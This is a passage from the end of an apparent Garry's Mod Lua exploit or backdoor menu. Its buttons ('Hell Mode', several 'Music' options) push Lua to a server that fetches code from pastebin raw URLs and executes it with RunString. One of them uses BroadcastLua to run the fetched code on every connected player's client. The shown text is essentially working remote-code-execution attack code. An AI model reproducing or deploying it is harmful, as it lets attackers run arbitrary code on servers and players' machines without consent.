2209
2210 hergon.AddButton("Hell Mode", bar4, function()
2211 surface.PlaySound("buttons/button18.wav")
2212 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/21tkfuM1',function(b,l,h,c)RunString(b)end,nil)")]])
2213 end)
2214
2215 hergon.AddButton("Music Earth", bar4, function()
2216 surface.PlaySound("buttons/button18.wav")
2217 noob.PostLua([[http.Fetch('https://pastebin.com/raw/u67AK6SX',function(b,l,h,c)RunString(b)end,nil)]])
2218 end)
2219
2220 hergon.AddButton("Music DajaVu", bar4, function()
2221 surface.PlaySound("buttons/button18.wav")
2222 noob.PostLua([[http.Fetch('https://pastebin.com/raw/iNBkxFiZ',function( b,l,h,c)RunString(b)end,nil)]])
2223 end)
2224
2225 hergon.AddButton("Music Break Bot", bar4, function()
2226 surface.PlaySound("buttons/button18.wav")
2227 noob.PostLua([[http.Fetch('https://pastebin.com/raw/rxMQUFMa',function(b,l,h,c)RunString(b)end,nil)]])
2228 end)
2229
2230 --Menu Close
2231 function CloseMenu()
2232 MenuOpen = false
2233 BDMenu:Close()
2234 end
2235end
2236
2237hergon.nin(true)